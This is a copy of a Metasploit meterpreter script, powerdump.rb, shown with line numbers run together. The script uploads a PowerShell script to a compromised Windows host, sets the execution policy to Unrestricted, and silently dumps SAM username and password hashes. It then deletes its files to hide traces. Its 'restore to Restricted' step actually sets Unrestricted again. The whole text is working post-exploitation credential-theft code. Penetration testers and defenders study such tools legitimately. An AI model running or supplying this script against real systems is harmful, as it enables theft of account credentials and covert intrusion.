Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/scripts/meterpreter/powerdump.rb
Views: 11766
##1# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.2# If you'd like to improve this script, please try to port it as a post3# module instead. Thank you.4##567#8# Meterpreter script for utilizing purely PowerShell to extract username and password hashes through registry9# keys. This script requires you to be running as system in order to work properly. This has currently been10# tested on Server 2008 and Windows 7, which install PowerShell by default.11#12# Script and code written by: Kathy Peters, Joshua Kelley (winfang), and David Kennedy (rel1k)13#14# Special thanks to Carlos Perez for the template from GetCounterMeasures.rb15#16# Script version 0.0.117#1819session = client20@@exec_opts = Rex::Parser::Arguments.new(21"-h" => [ false, "Help menu." ]22)2324def usage25print_line("PowerDump -- Dumping the SAM database through PowerShell")26print_line("Dump username and password hashes on systems that have")27print_line("PowerShell installed on the system. Win7 and 2008 tested.")28print(@@exec_opts.usage)29raise Rex::Script::Completed30end3132#-------------------------------------------------------------------------------33# Actual Hashdump here3435def dumphash(session)3637path = File.join( Msf::Config.data_directory, "exploits", "powershell" )3839print_status("Running PowerDump to extract Username and Password Hashes...")40filename=("#{rand(100000)}.ps1")41hash_dump=("#{rand(100000)}")42session.fs.file.upload_file("%TEMP%\\#{filename}","#{path}/powerdump.ps1")43print_status("Uploaded PowerDump as #{filename} to %TEMP%...")44opmode = ""45print_status("Setting ExecutionPolicy to Unrestricted...")46session.sys.process.execute("powershell Set-ExecutionPolicy Unrestricted", nil, {'Hidden' => 'true', 'Channelized' => true})47print_status("Dumping the SAM database through PowerShell...")48session.sys.process.execute("powershell C:\\Windows\\Temp\\#{filename} >> C:\\Windows\\Temp\\#{hash_dump}", nil, {'Hidden' => 'true', 'Channelized' => true})49sleep(10)50hashes=session.fs.file.new("%TEMP%\\#{hash_dump}", "rb")51begin52while ((data = hashes.read) != nil)53data=data.strip54print_line(data)55end56rescue EOFError57ensure58hashes.close59end60print_status("Setting Execution policy back to Restricted...")61session.sys.process.execute("powershell Set-ExecutionPolicy Unrestricted", nil, {'Hidden' => 'true', 'Channelized' => true})62print_status("Cleaning up after ourselves...")63session.sys.process.execute("cmd /c del %TEMP%\\#{filename}", nil, {'Hidden' => 'true', 'Channelized' => true})64session.sys.process.execute("cmd /c del %TEMP%\\#{hash_dump}", nil, {'Hidden' => 'true', 'Channelized' => true})6566end67print_status("PowerDump v0.1 - PowerDump to extract Username and Password Hashes...")68dumphash(session)697071